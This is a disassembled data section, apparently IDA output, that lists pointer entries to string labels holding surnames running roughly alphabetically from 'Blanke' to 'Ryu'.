		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
